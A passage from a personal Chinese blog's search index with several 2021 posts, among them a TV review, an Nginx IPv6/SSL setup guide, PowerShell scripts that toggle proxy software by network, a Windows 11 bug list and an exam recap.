young的人批判了一番，作出了十分有力的回击。\n我没意识到当我做出那个选择时，给人们带来最多娱乐的甚至不是我所擅长的事，不是我已经做到行业顶尖水平的事；我没有意识到我给人们带来最具娱乐性的方面，是人们对我进行人身攻击，是对我的性生活刨根问底。天啊，我为什么要费力气去做新闻？你的裁缝在和谁上床？他是个好人吗？你的裤子合不合身重要吗？\nThe Morning Show S02E10, Fever\n剧情里的大小槽点也不少。光是Ep10，比如Chip明明没有患上肺炎，却要前往Alex家，我觉得还不如安排他真的患上；Bradley在医院急救室穿梭，却并没有人认出这位每天出现在荧幕上的主持人；Cory和Bradley坦白，竟然不是坦白向小报透露狗血新闻的事情，而是坦白自己爱上了她？\nMitch和Paola的这条线，倒是让我觉得挺不错。特别是Ep2中Paola刚刚出场时与女权人士——大概更应该是女拳人士——的争吵，精彩而富有哲理，当时真想让那群拳师看看这一段。下面Paola对Mitch说的话，更加精辟，不仅适用于女拳，还适用于网络喷子。\n她不知道她到底想从你身上得到什么。如果你道歉，她会说你不诚恳；如果你试图做公益，她会说那是利己；如果你敢于去生活，她会说厚颜无耻；如果你选择去死，那就是懦夫的做法。你必须活下去受苦，但你一定不能当着我们的面，也不能从中吸取教训。\nThe Morning Show S02E02, It\u0026rsquo;s Like The Flu\n经过接近两季的刻画，我觉得Mitch Kessler已经是整部剧中形象最立体的人物之一了。从Cory的角度，他是一个人渣；从Paola的角度，他也是一个普通人，犯下错误也应该给机会悔过；在第一季中，他看到自己上电视于是把电视砸了，证明他是一个十分暴力的人；而经Paola劝说，他能够告诉Alex自己的真实想法，确实有所悔改。\n可惜这么立体一个人，却在车祸中去世了…… 不过确实，后面再留下他，或许对剧情推进也没有什么帮助了，总要有个结局吧。\nLaura和Daniel在本季的刻画很有意思，一个意料之外地和Bradley建立了亲♂密的关系，一个一直在为自己的未来而奋斗。Daniel值不值得更好的地位或许没有那么明了，但很显然的是他被电视台打压。Alex告诉他会尽力提携他，Mia告诉他跳槽未必更好，但他在一次次地被搪塞之后终于意识到，美好生活要靠自己去争取。\n说到种族主义，就不得不提到Yanko因为一个比喻被全网抵制，以及Stella被误解为中国人而被咒骂的事情。似乎剧组对前一件事情着墨更多，而后一件事并没有展开写——事实上，我觉得后者反倒应该重点写一写。\n","date":"November 21, 2021","matchCount":0,"permalink":"/post/the-morning-show-s02/","preview":"","title":"《早间新闻 第二季》，岂止泯然于众人"},{"content":"说来也怪，这个其实是我搞梯子的时候研究Nginx的副产物。\n先提一下VPS的当前环境：从Vultr直接部署的WordPress主机，Ubuntu 18.04.6 LTS，Nginx 1.20.1。已经使用了Let\u0026rsquo;s Encrypt的SSL服务获取了证书。其他的都没啥关系，就不提了。\n如果你还没有获取到SSL证书，你可以使用 Certbot 获取一个免费的，虽是英文教程但浅显易懂，中文教程也好找。\n编译替换Nginx 我发现附带的Nginx是没有IPv6支持的，可以使用这个命令来验证：nginx -V。输出大概是这样：\ntext 复制代码 nginx version: nginx/1.20.1 built by gcc 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04) built with OpenSSL 1.1.1 11 Sep 2018 TLS SNI support enabled configure arguments: --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-path=/var/run/nginx.pid --lock-path=/var/run/nginx.lock --http-client-body-temp-path=/var/cache/nginx/client_temp --http-proxy-temp-path=/var/cache/nginx/proxy_temp --http-fastcgi-temp-path=/var/cache/nginx/fastcgi_temp --http-uwsgi-temp-path=/var/cache/nginx/uwsgi_temp --http-scgi-temp-path=/var/cache/nginx/scgi_temp --user=nginx --group=nginx --with-compat --with-file-aio --with-threads --with-http_addition_module --with-http_auth_request_module --with-http_dav_module --with-http_flv_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_mp4_module --with-http_random_index_module --with-http_realip_module --with-http_secure_link_module --with-http_slice_module --with-http_ssl_module --with-http_stub_status_module --with-http_sub_module --with-http_v2_module --with-mail --with-mail_ssl_module --with-stream --with-stream_realip_module --with-stream_ssl_module --with-stream_ssl_preread_module --with-cc-opt=\u0026#39;-g -O2 -fdebug-prefix-map=/data/builder/debuild/nginx-1.20.1/debian/debuild-base/nginx-1.20.1=. -fstack-protector-strong -Wformat -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 -fPIC\u0026#39; --with-ld-opt=\u0026#39;-Wl,-Bsymbolic-functions -Wl,-z,relro -Wl,-z,now -Wl,--as-needed -pie\u0026#39; 1 2 3 4 5 nginx version: nginx/1.20.1 built by gcc 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04) built with OpenSSL 1.1.1 11 Sep 2018 TLS SNI support enabled configure arguments: --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-path=/var/run/nginx.pid --lock-path=/var/run/nginx.lock --http-client-body-temp-path=/var/cache/nginx/client_temp --http-proxy-temp-path=/var/cache/nginx/proxy_temp --http-fastcgi-temp-path=/var/cache/nginx/fastcgi_temp --http-uwsgi-temp-path=/var/cache/nginx/uwsgi_temp --http-scgi-temp-path=/var/cache/nginx/scgi_temp --user=nginx --group=nginx --with-compat --with-file-aio --with-threads --with-http_addition_module --with-http_auth_request_module --with-http_dav_module --with-http_flv_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_mp4_module --with-http_random_index_module --with-http_realip_module --with-http_secure_link_module --with-http_slice_module --with-http_ssl_module --with-http_stub_status_module --with-http_sub_module --with-http_v2_module --with-mail --with-mail_ssl_module --with-stream --with-stream_realip_module --with-stream_ssl_module --with-stream_ssl_preread_module --with-cc-opt=\u0026#39;-g -O2 -fdebug-prefix-map=/data/builder/debuild/nginx-1.20.1/debian/debuild-base/nginx-1.20.1=. -fstack-protector-strong -Wformat -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 -fPIC\u0026#39; --with-ld-opt=\u0026#39;-Wl,-Bsymbolic-functions -Wl,-z,relro -Wl,-z,now -Wl,--as-needed -pie\u0026#39; 不过截至写这篇文章的时候，Vultr已经可以部署基于Ubuntu 20.04的WordPress主机了。如果你运行上面的命令，发现带有 “\u0026ndash;with-ipv6” 的话，那么就可以跳过这一步了。如果没有，就先把configure arguments后面的内容复制下来备用。\nSSH连接服务器，使用 wget https://nginx.org/download/nginx-1.20.1.tar.gz 下载Nginx 1.20.1版本（或者核对上面命令输出中的nginx version，一定要确认版本一致），使用 tar -zxvf nginx-1.20.1.tar.gz 命令解压。\n安装一下依赖库，命令如下：\nbash 复制代码 sudo apt upgrade sudo apt install build-essential libtool libpcre3 libpcre3-dev zlib1g-dev openssl libssl-dev 1 2 sudo apt upgrade sudo apt install build-essential libtool libpcre3 libpcre3-dev zlib1g-dev openssl libssl-dev 进入刚刚解压的文件目录，并执行\nbash 复制代码 ./configure --what-you-have-copied-just-now --with-ipv6 1 ./configure --what-you-have-copied-just-now --with-ipv6 将其中 --what-you-have-copied-just-now 替换成你刚刚复制的内容。不过，不加 \u0026ndash;with-ipv6其实也可以，新编译的默认是带有IPv6支持的。\n如果没有任何报错的话，再执行 make 来编译（不要make install）。否则可以将报错内容Google一下，多半是少了什么库，对照着装就是了。\nVultr的WordPress主机，Nginx可执行文件在 / usr/sbin，配置文件在 / etc/nginx/conf.d。做一下备份，然后将新编译好的nginx可执行文件替换进原文件，然后重启服务即可加入IPv6模块：\nbash 复制代码 mv /usr/sbin/nginx /usr/sbin/nginx.bak mv objs/nginx /usr/sbin/ systemctl restart nginx.service 1 2 3 mv /usr/sbin/nginx /usr/sbin/nginx.bak mv objs/nginx /usr/sbin/ systemctl restart nginx.service 设置DNS解析 我使用的是阿里云DNS，直接将原域名AAAA解析至服务器的IPv6地址即可。这个应该不难。\n等一小会后，执行 nslookup your.domain，解析到的应该是IPv6和v4两个地址。\n编辑Nginx配置文件 先备份，再用你喜欢的方法编辑 /etc/nginx/conf.d/wordpress_https.conf。如果内有两个server开头的大括号，有一个带有”managed by Certbot“标记，就注释掉或者删掉另外一个大括号连同里面的内容。我之前就是没有注意到实际的配置文件，导致IPv6访问死活没有SSL。\n找到 listen 443 ssl;，然后在后面加入一行\ntext 复制代码 listen [::]:443 ssl ipv6only=on; 1 listen [::]:443 ssl ipv6only=on; 即可让Nginx监听IPv6的443端口内容。如果你还想保留IPv6的HTTP访问（无SSL），再编辑 /etc/nginx/conf.d/wordpress_http.conf，在 listen 80; 后面加入一行 listen [::]:80;。\n检验IPv6访问及证书 在 SSL Server Test (Powered by Qualys SSL Labs) 中输入你的域名，可以分别检验IPv6和v4下的SSL访问情况。你也可以自行打开网页检验。\n参考文献 Ubuntu 编译安装 nginx 以及配置自动启动 - 浮梦云烟 - 博客园 (cnblogs.com)\nLinux 中查找 nginx 安装目录和 nginx.conf 配置文件目录 _纸上得来终觉浅，绝知此事要躬行 - CSDN 博客 _查找 nginx 目录\n","date":"November 14, 2021","matchCount":0,"permalink":"/post/configure-ipv6-for-vultr-wordpress-site/","preview":"","title":"记一次为 Vultr 的 WordPress 主机配置 IPv6 + SSL 访问"},{"content":"住处的路由器经过一番折腾，自带访问国际互联网的环境，而其他地方的网络当然不会有这个东西了，这就需要在电脑上启动代理。每次搬电脑都要开关代理很麻烦，于是心生一计，使用Windows自带的十分完善的任务计划功能，来实现根据网络环境的代理软件自动开关功能。理论上这同时适用于Clash、ShadowsocksR等代理软件。\n在Windows 11 build 22000.282测试通过，理论上近几个大版本的Windows 10也同样适用。\n自动打开代理软件 这一部分讲述了在连接到某一特定SSID的WiFi网络时如何启动代理，以Shadowsocks为例。\n使用Windows搜索 “计划任务” 或者 “taskschd” 可以找到任务计划程序。\n点击右侧 “创建任务”，随便起个名字。\n切换到 “触发器” 选项卡，新建 “发生事件时” 触发器，“开始任务”选择 “发生事件时”，“日志” 选择 “Microsoft-Windows-NetworkProfile/Operational”，“源” 选择 “NetworkProfile”，“事件ID” 填写“10000”，其他不变，如图。\n切换到 “操作” 选项卡，新建操作，在 “程序或脚本” 栏里浏览并选择你的Shadowsocks主程序，其他不变，点击确定。\n再切换到 “条件” 选项卡，选中 “只有在以下网络连接可用时才启动”，选择你希望打开Shadowsocks的网络环境。某些时候，网络SSID并不等于环境名称，这时最好查看“找到真正的网络名称” 部分以确保选择正确。这样相当于监听每一次网络环境改变事件，再检查当前网络环境，如果符合条件则启动。同时还需要关闭”只有在计算机使用交流电源时才启动此任务“，毕竟能拿着电脑到处跑的人应该会经常用电池吧。\n点击确定，即可完成设置。\n找到真正的网络名称 有些时候，你可能会遇到和我一样的情况：明明想找一个名为xxx的WiFi，但在 “只有在以下网络连接可用时才启动” 下拉框中却发现了形如 “xxx 1”“xxx 2” 之类的网络。如果没有这种情况，那很好，你不用看这一小节了；否则，需要打开 “适配器选项” 窗口来确定真正的网络名称。\n这里吐槽一下小米互传：就不能固定一个SSID吗？\n首先要连接目标网络，然后根据操作系统不同，有不同的步骤。\n对于Windows 10，在任务栏网络图标右键，选择 “打开网络和Internet设置”，然后点击 “更改适配器选项”；而对Windows 11，要打开设置 - 网络 \u0026amp; Internet - 高级网络设置 - 更多网络适配器选项。会弹出如下图的窗口。\n这里再骂一次微软，Windows 10适配器选项页面的高分屏优化都比11好，起码字体没毛边。\n这里根据你的情况寻找你的网络名称，比如我的是 “PDCN_5G 7”。\n自动关闭代理软件 仍然以Shadowsocks为例。这个实现起来相对麻烦些，因为任务计划没有设定关闭程序的操作。好在我们有PowerShell，所以我们可以使用PoweShell脚本来结束进程。\n新建一个文本文档，将扩展名改为. ps1，文件名任取。然后，在里面粘贴以下内容（假设你的Shadowsocks设定的是PAC模式）：\npowershell 复制代码 Write-Output \u0026#34;Stopping Shadowsocks\u0026#34; Get-Process | Where-Object {$_.ProcessName.Contains(\u0026#34;Shadowsocks\u0026#34;)} | Stop-Process Write-Output \u0026#34;Trying to delete proxy registry\u0026#34; Remove-ItemProperty -Path \u0026#39;HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\u0026#39; -Name \u0026#34;AutoConfigURL\u0026#34; 1 2 3 4 Write-Output \u0026#34;Stopping Shadowsocks\u0026#34; Get-Process | Where-Object {$_.ProcessName.Contains(\u0026#34;Shadowsocks\u0026#34;)} | Stop-Process Write-Output \u0026#34;Trying to delete proxy registry\u0026#34; Remove-ItemProperty -Path \u0026#39;HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\u0026#39; -Name \u0026#34;AutoConfigURL\u0026#34; 然后保存。\n按上面的步骤创建一个新任务。“触发器” 与上面相同。\n在 “操作”-“程序或脚本” 的“添加参数”栏填入刚刚新建的PowerShell脚本路径，“程序或脚本”填入“pwsh.exe”（如果你安装了新版PowerShell Core）或“powershell.exe”（通用，但是是老版本），其他不变，确定。如下图：\n编辑执行脚本操作\n“条件”-“只有在以下网络连接可用时” 改为你希望自动关闭Shadowsocks的网络环境。\n点击确定，即可完成设置。不想了解细节的读者，不需要读本节中下面的部分。\n我们都知道，要关闭Shadowsocks，当然要结束Shadowsocks.exe。它运行的时候，还会同时启动Privoxy透明代理，但结束主程序的时候它也会一起关闭，所以没有必要考虑这个。\n如果你使用的是PAC代理模式而不是全局代理，有时系统设置 - 网络 \u0026amp; Internet - 代理 - 使用设置脚本的开关并不会关闭，部分影响网络浏览。这个开关由注册表键值HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL所管理，如果存在则代表这个开关打开，并将PAC代理指向它的值，键值字符串代表设置的代理服务器地址。那么，我们增加一条命令将这个键删掉，就可以保证彻底关闭了。\n进阶：自动检测网络环境，开关代理 这部分以v2rayN为例。如果你经常在多个网络环境之间穿梭，每个网络条件不同（甚至同一个网络路由器端的梯子都有可能挂掉），上面的那个办法就不是那么好用了。既然我们写了PowerShell脚本，不妨一步到位，直接检测网络环境。\n首先你需要新建一个在网络环境改变的时候就调用的任务计划，而不需要特定网络连接条件，可以参照本文的 “自动打开代理” 部分。\n然后新建一个PowerShell脚本，少废话，上代码。\npowershell 复制代码 Set-ItemProperty -Path \u0026#34;HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\u0026#34; -Name ProxyEnable -Value 0 #首先禁用系统代理，防止对检测造成影响 $url = \u0026#34;http://clients3.google.com/generate_204\u0026#34; $req = [system.Net.WebRequest]::Create($url) $proxyActive = Get-Process v2rayN -ErrorAction SilentlyContinue #检测 v2rayN 是否运行，后面那个 param 是在它没有运行的情况下继续执行脚本 try { $res = $req.GetResponse() #获取 HTTP 状态码 } catch [System.Net.WebException] { $res = $_.Exception.Response } if ($res.StatusCode -eq\u0026#34;NoContent\u0026#34;) { #能够直连国际互联网 Write-Output \u0026#34;Google Is Connected, Stopping Proxy\u0026#34; Get-Process | Where-Object {$_.ProcessName.Contains(\u0026#34;v2ray\u0026#34;)} | Stop-Process } else { #不能直连国际互联网 if ($null -eq $proxyActive) { # 代理未运行，打开代理 Write-Output \u0026#34;Cannot connect to Google, Starting Proxy\u0026#34; \u0026amp;\u0026#34;Your\\Path\\To\\v2rayN.exe\u0026#34; } else { # 代理软件已运行，启用系统代理即可 Write-Output \u0026#34;Re-enabling Proxy\u0026#34; Set-ItemProperty -Path \u0026#34;HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\u0026#34; -Name ProxyEnable -Value 1 } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 Set-ItemProperty -Path \u0026#34;HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\u0026#34; -Name ProxyEnable -Value 0 #首先禁用系统代理，防止对检测造成影响 $url = \u0026#34;http://clients3.google.com/generate_204\u0026#34; $req = [system.Net.WebRequest]::Create($url) $proxyActive = Get-Process v2rayN -ErrorAction SilentlyContinue #检测 v2rayN 是否运行，后面那个 param 是在它没有运行的情况下继续执行脚本 try { $res = $req.GetResponse() #获取 HTTP 状态码 } catch [System.Net.WebException] { $res = $_.Exception.Response } if ($res.StatusCode -eq\u0026#34;NoContent\u0026#34;) { #能够直连国际互联网 Write-Output \u0026#34;Google Is Connected, Stopping Proxy\u0026#34; Get-Process | Where-Object {$_.ProcessName.Contains(\u0026#34;v2ray\u0026#34;)} | Stop-Process } else { #不能直连国际互联网 if ($null -eq $proxyActive) { # 代理未运行，打开代理 Write-Output \u0026#34;Cannot connect to Google, Starting Proxy\u0026#34; \u0026amp;\u0026#34;Your\\Path\\To\\v2rayN.exe\u0026#34; } else { # 代理软件已运行，启用系统代理即可 Write-Output \u0026#34;Re-enabling Proxy\u0026#34; Set-ItemProperty -Path \u0026#34;HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\u0026#34; -Name ProxyEnable -Value 1 } } 将里面的 Your\\Path\\To\\v2rayN.exe 替换为v2rayN.exe路径，然后让那个任务计划在满足条件时执行它。\nv2rayN采用的是系统代理方案，把v2rayN.exe结束掉，会自动结束xray.exe，但要手动控制系统代理。控制它的注册表项是HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyEnable，类型为DWORD，1为开启，0为关闭。\n显而易见，http://clients3.google.com/generate_204 是在墙外的网站。如果访问正常，这个页面会返回一个HTTP 204 NoContent，否则res会是 $null。\n参考文献 windows - How to launch a command on network connection/disconnection? - Super User\n利用 Windows 计划任务定时关闭程序 - 蜂鸣器 (fmqcloud.com)\n一键打开关闭 ie 代理 - 问题求助 - 小众软件官方论坛 (appinn.net)\nHow to Get, Edit, Create and Delete Registry Keys with PowerShell (netwrix.com)\n如何在 powershell 中让运行的程序停止 _百度知道 (baidu.com)\n设定 Windows 计划任务定期执行 PowerShell 脚本【图文】_StanlyCheng_51CTO 博客\n如何在 PowerShell 中获取数字 HTTP 状态码？ - 问答 - 云 + 社区 - 腾讯云 (tencent.com)\nCheck if a process is running (microsoft.com)\n","date":"November 3, 2021","matchCount":0,"permalink":"/post/auto-proxy-switch/","preview":"","title":"使用任务计划程序，根据网络环境自动开关代理软件"},{"content":"挑选几个我自己做过的大物实验（II），谈谈我的看法，希望能给后来者一点帮助。均为我本人做的时候的情况，仅供参考。\n如果你有自己的见解，或者想为这篇文章补充，请评论，十分感谢您的贡献。\n15 等厚干涉 强烈推荐，实验好做，数据好处理，报告好写，器材状态也比较好。\n顺利的话，一般能在八点左右搞定，大部分数据处理也可以在八点半之前完成（八点半之前不能走）。大部分人都能在八点半之前完成实验任务。\n18 夫琅和费衍射 另可参见评论区大佬建议\n推荐。\n平均八点半左右结束，数据好测好处理，调光路略难，老师讲得很认真，仪器状态还可以。\n21 全息照相 一个几乎只需要写报告的实验，跟你做不做得出来没啥关系，因为一个周都不一定能有一组成功。不过也不要太摆烂，因为大家的实验进度是同步的，所有人都搭好光路才能继续下去（晚上做实验，大概八点半搭好，掐一下点）。\n老师会额外留几道思考题，依据思考题答得好不好，来决定你实验的分数。\n25 铁磁材料居里点的测量 可选。\n建议带一个主动散热设备，包括但不限于手持风扇，能省很多事。\n部分实验软件会闪退，我那台电脑的实验软件在快要完成的时候闪退了两次，如果看到记录册有写，做好手动记录的准备。\n34 磁阻尼现象的实验研究 没有验证动量守恒了，只有磁阻尼。\n实验操作有手就行，非常简单，估计很多同学甚至早已玩过气垫导轨了。\n但实验操作一时爽，处理数据火葬场。数据非常多而且处理方法比较乱，非常费时间，如果你自认为没有足够的数据处理能力，不要选这个实验！！！！\n反正我摸索着处理了将近一天，最后还是不会，信不信由你。\n41 光拍法测量光速 非常推荐欧皇选择，因为 16 套器材有一半是坏的。即使你不是欧皇，也问题不大，仪器正常的人八点能走，之后用他们的仪器最晚八点半能走。\n老师非常好，可能会帮你调实验仪器，也会允许多个人用一套器材。\n数据不多，结果好算。\n42 微波的基本特性研究 摘录一段记录在记录册上的话：“左右两边的数据不能说是一模一样，可以说是毫无关联了，这个实验唯一的优点也许是老师对实验数据毕竟包容叭”。\n其他设备的干扰非常严重，到了可能改变你实验结果的程度。如果不介意等别人做完自己再做，以获得更好的实验数据，可选（雾，没有这么严重）。\n迈克尔逊干涉实验的两个数据间大概相差 8-9。\n","date":"October 23, 2021","matchCount":0,"permalink":"/post/hnu-physics-experiment/","preview":"","title":"湖大物理实验红黑榜"},{"content":"因为我对Windows 11奇差无比的稳定性非常愤怒，所以水了这篇博客。可能持续更新。\n老（伪）软粉，无意搞什么微软圣经，只是发发牢骚。\n如果你没遇到部分或者全部这些bug，那么祝贺你，你很幸运；但请不要抱侥幸心理而选择直接OTA升级，即使不全新安装，也请下载并使用完整ISO升级，这样流畅度可能大幅提升，bug可能大幅减少，简要方法见文末。\n1.“无法打开xxx，因为它处于脱机状态” 发现于Build 22000.194\nForza Horizon 4安装在非系统硬盘上，但一直连接在电脑上，其他文件也正常访问。\n不定期发生，可能重启后解决；如果重启后仍未解决，可能静置一段时间后自动解决。\n2. 农历日历显示错乱，自相矛盾 发现于Build 22000.194\n今天到底是九月初三还是初四？\n3. 桌面窗口缩略图弹出错位 出现于Build 22000.194\n缩略图应该弹出在图标正上方（注意我鼠标的位置，没有用截图就是为了看鼠标）。\n4.“图片”App缩略图更新不及时 出现于Build 22000.194\n裁剪后的图片如大图所示，而下方缩略图则仍为裁剪前的图片。\n5. 深色模式转换不完全 出现于Build 22000.194、22000.258\n从深色模式转回浅色模式，同一窗口下的部分内容仍停留在深色模式，即使其余内容可以自动转换。\n6. 高DPI缩放错误 出现于Build 22000.194、22000.282\n界面只占了窗口左上方的一小部分。\n可大，可小。\n7. 任务栏图标消失 出现于Build 22000.194\n除开始菜单图标外，App图标全部消失。我有两块屏幕，扩展方式连接，而主屏幕的任务栏图标一切正常。\n8. 资源管理器上方功能图标消失 出现于Build 22000.258、22000.282\n一次卡出两个bug，不愧是我\n上方功能菜单的图标大部分都没了。能点，但单纯是看不见。\n9.Windows开始菜单图标消失 出现于Build 22000.258\n10. 输入法指示器错位 出现于Build 22000.258\n此处是屏幕左下方，常用vscode的读者应该很容易看出来。\n11. 任务栏音量图标显示颠倒 出现于Build 22000.258、22000.346\n声音打开的时候显示关闭，声音关闭的时候显示打开。\n12.Windows开始菜单打不开 出现于Build 22000.258\n这个不用图描述吧？\n13. 开始菜单阴影遮罩错位 出现于Build 22000.282\n你们开始菜单呐还是要提高自己的姿势水平，不要总想着搞个大遮罩，这样是不行滴！\n14. 任务栏选项错位 出现于Build 22000.282\n这里是这块屏幕的左端，正常来说应该显示在对应图标的上方。\n15. 任务栏无故出现强提醒 出现于Build 22000.346\n如你所见，我并没有打开任何Windows Explorer窗口，而它却在任务栏给我发了一个强提醒。\n16. 任务管理器渲染成点阵字体 出现于Build 22000.346\n这玩意没过多久自己闪退了，不过重新打开任务管理器就好了。\n17. 解锁后全屏模糊 出现于Build 22000.346\n没有图，Windows截图转存WebDAV的时候损坏了……\n18. 任务栏图标错位 出现于22000.348\n《潜水的Visual Studio》\n19. 搜索窗口错位 出现于Build 22000.376\nWindows搜索本该遵循任务栏图标位置设置，出现在左下方，然而却出现在了中间。\n20. 出现无法消失的窗口 出现于Build 22000.376\n是的，就这么凭空出现在那里。\n21. 远程桌面断开后，系统音量和亮度调节无法恢复 出现于Build 22000.434\n远程桌面（RDP）连接时是无法调节系统亮度的，音量默认最大，由客户端控制。断开后仍无法使用Windows控制中心调节亮度，音量也未恢复，但实际上可以使用Twinkle Tray调节亮度，播放声音设备也可正常识别。\n复现概率很小。\n附录：升级Windows的正确姿势 打开 UUP dump，一般用户建议点击“公开发布的最新内部版本” 或“最新发布预览通道版本”后的“x64”，如果看得懂，也可以选择其他预览版、架构，或从下方更新列表手动选择。然后，不懂的建议直接一路下一步。 解压从上面网页下载到的zip，Windows用户双击执行uup_download_windows.cmd，等待下载转换压缩过程完成。 点击解压后目录出现的ISO文件，双击setup.exe安装。由于我们下载的文件已经包含最新更新，建议选择更改检查更新的方式 - 不检查更新。 一路下一步等待自动升级。 ","date":"October 10, 2021","matchCount":0,"permalink":"/post/windows-11-bugs/","preview":"","title":"Windows 11 bug 大赏"},{"content":"不知何时，Google的搜索结果中出现了大量垃圾搜索结果，尤以”小X知识网 “和“小X百科网” 最为猖獗。\n点进任意一个此种网站，发现基本都是营销号套话，和从别处随意复制粘贴来的内容——几乎都没有原文链接，更几乎不可能事先申请过转载授权。据称这种网站一般被称作” 内容农场 “，专门发布垃圾文章，同时大搞SEO，因此搜索结果通常很靠前。\n之后从V2EX找到了Chromium插件 uBlacklist（被墙，不过对于Google用户应该不是问题），用于屏蔽Google等几个搜索引擎中的特定搜索结果，眼不见心不烦。同时支持Firefox和Safari。\niorate/ublacklist\n安装后，Google的每个搜索结果旁都会显示 “加入黑名单” 按钮，而在浏览某个网页时，你可以点击插件栏的uBlacklist按钮，将正在浏览的网站加入黑名单。加入黑名单的域名或子域名，将会被从搜索结果中剔除，同时在搜索界面显示“uBlacklist已经屏蔽了x个网址”，其中域名和子域名遵循Mozilla匹配模式（格式如 ://search.bilibili.com/。Google有时会在搜索结果中包含B站搜索的网页，而如果我需要视频结果我会使用站内搜索，所以这里将它屏蔽掉）。\n实际上，我也一直苦于搜索结果中的 “程序员信息网”” 代码先锋网“之类网站，它们更像是纯粹的搬运（或者说，偷窃）各位博主的劳动成果。由于这种网站并不太多，简单的像上面这样域名屏蔽即可解决，大不了再屏蔽就是了。此外，华为云社区有时也会干这种不三不四的事情，搞不懂是为什么，反正一起被我屏蔽了。\n但这些 “小X知识网” 实在太多了，有的域名都没注册直接拿IP地址就出来污染，靠域名根本屏蔽不完，怎么办？uBlacklist还支持标题屏蔽，更支持正则表达式，格式如 title\\your_regex\\。直接添加 title\\ 小. 知识网 \\ 和 title\\ 小. 百科网 \\，搜索结果马上就清净了。\n想一劳永逸？在下面的V2EX原帖链接中，一些网友还提供了规则订阅链接，免于手动配置屏蔽，威力比较大，可能误伤。\n或者你也可以尝试”Content Farm Terminator“插件，它能够一定程度上自动屏蔽这类内容农场网站。\ndanny0838/content-farm-terminator\n参考：\n请问在 google 搜索时，频繁遇到小 X 知识网等内容农场式结果，怎么办？ - V2EX\n亿点碎碎念\n作为互联网汪洋大海的一个小透明网站，不知道我的文章有没有落入这类网站的魔爪之中。\n我个人是反感这种做派的，但鉴于本站的文章默认遵守CC BY-SA 4.0协议（后续会在网站更多文章中有更明显的体现），只要注明来源、许可没问题那我也不好干涉，所以如果您碰巧发现疑似我的文章被盗而未标明出处，欢迎直接在本文下方发送评论，我将尽量投诉此类网站，在此不胜感激。当然，懒得帮也没关系，还是感谢您能抽时间观看本文 :)\n不知道这些网站为什么要这么做，搞不懂盈利方式。\n","date":"October 9, 2021","matchCount":0,"permalink":"/post/goodbye-content-farm/","preview":"","title":"再见了，小 X 知识网，再也不见"},{"content":"此处所指的是大学组的CSP，举行于2021年9月19日。\n暴力出奇迹，骗分过样例。\n暴搜挂着机，打表出省一。\nNOIP名言\n又是一年CSP时，抱着当年OI攒下的一点点老本，以 “过150就算赢” 为目标，本着暴力出奇迹的原则，参加了学校统一组织的考试。\n关于考场 考场在湖南大学前进楼机房，设备可以说是很有年代感了。目测17寸左右的低分辨率显示器，2C2T的Pentium E5700 CPU，Windows 7，再搭配上Orwell Dev-C++ 5.11，整个简直像是上个时代的产物。由于远古的TDM-GCC 4.9.2、调用STL时的糟糕体验和层出不穷的bug，每次用Dev-C++ 调试，我都想打人…… 如果觉得Visual Studio Code不开源，哪怕装个VSCodium也好啊……\n哦，顺便提一嘴，Orwell Dev-C++ 是有正统续作的，由Embarcadero开发，终于能用了：\nEmbarcadero/Dev-Cpp\nJava环境好像也没有IntelliJ IDEA，Python好像也只能用IDLE，所以C++ 环境也不算差？\n还行啦，CPU再烂也是独占的，起码比信息院机房的瘦客户机好用多了。\n第一题 逐个输入，每个数都加入最大值，遇到比上个数大的就加进和的最小值。画图好理解。\n第二题 先试了暴力方法，$p$ 从 $1$ 到 $10000$ 循环（没必要也千万不要把数改成 $0$），直接统计大于 $p$ 的数的区间数，70分，TLE三个点。\n然后尝试搜索的思路，类似于暴力思路的改进，仍然是搜索大于p的区间数，但不会搜索整个数组，而是在上一个p所划分的区间内搜索。比如1 3 5 3 6 0 2 8，$p=1$ 时划出1 3 5 3 6和2 8，然后分别在这两个区间内继续搜索 $p=2$ 的情况即可。\n误以为区间数是随 $p$ 先上升后下降的，试图用BFS控制搜索深度，幸亏BFS手生，没写完就发现并不是我想的那样（狗头保命），遂停止。\n换用熟悉的DFS，结果仍然TLE三个点。原因是每次搜索，$p$ 的步进都是 $1$；事实上，仍然使用上个例子，$p=2$ 得到区间3 5 3 6，区间最小值是3，那么 $p=3$ 的区间数 + 1，然后直接搜索 $p=4$ 的情况即可，不必再搜索3的情况。\nDFS优化完成后可以达到100分。\n第三题 阅读理解越来越难了，做完前面的还剩2小时左右，估计读都读不完。\n没做。\n第四题 骗得20分。有20% 的数据，每个卡的爆率相同，易得期望就是 $n$。\n还有20分比较简单，不知道为啥暴搜没过，5个牌还会T，真是……\n第五题 瞄了一眼，似乎需要可持久化的数据结构，但有一个点没有操作2，也许可以暴力存储历史数据。即便如此还是没写出来，放弃了。\n总结 暴搜流派yyds！\n","date":"September 19, 2021","matchCount":0,"permalink":"/post/ccf-csp-201909-tour/","preview":"","title":"CCF CSP 202109 @ HNU 